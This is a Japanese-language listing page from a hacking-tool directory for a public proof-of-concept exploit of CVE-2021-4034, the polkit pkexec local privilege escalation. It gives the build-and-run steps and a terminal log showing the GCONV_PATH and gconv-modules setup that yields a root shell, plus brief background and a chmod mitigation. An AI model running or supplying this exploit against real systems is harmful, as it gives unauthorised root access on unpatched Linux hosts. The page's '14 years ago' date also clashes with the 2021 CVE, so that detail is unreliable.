Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-4034 — CVE-2021-4034(polkit pkexec)のエクスプロイト。SUID権限昇格を介してrootシェルを提供します。ソースコードとビルド手順を含みます。 | Kitploit
ツール/GitHubGitHub/tanmay-n/cve-2021-4034
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトバイナリエクスプロイト
GitHubtanmay-n/cve-2021-4034

CVE-2021-4034

CVE-2021-4034(polkit pkexec)のエクスプロイト。SUID権限昇格を介してrootシェルを提供します。ソースコードとビルド手順を含みます。

リポジトリを見る
14年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-4034

polkit 権限昇格エクスプロイト

make を実行し、./cve-2021-4034 を実行するだけで、root シェルを取得できます。

Qualys チームによる元のアドバイザリはこちら

PoC

エクスプロイトが機能している場合、すぐに root シェルが取得できます:

root@kitploit:~
kali@user:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

ほとんどのシステムで polkit を更新するとエクスプロイトが修正されるため、使用方法が表示されてプログラムが終了します:

root@kitploit:~
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
kali@user:~/CVE-2021-4034$

Linux 向け Polkit pkexec について

Polkit (旧称 PolicyKit) は、Unix 系オペレーティングシステムにおいてシステム全体の権限を制御するためのコンポーネントです。非特権プロセスが特権プロセスと通信するための体系化された方法を提供します。また、polkit を使用して、pkexec コマンドに続けて実行したいコマンド (root 権限付き) を指定することで、昇格した権限でコマンドを実行することも可能です。

緩和策

お使いのオペレーティングシステムでパッチが利用できない場合は、一時的な緩和策として pkexec から SUID ビットを削除できます。

root@kitploit:~
# chmod 0755 /usr/bin/pkexec
ツールをダウンロード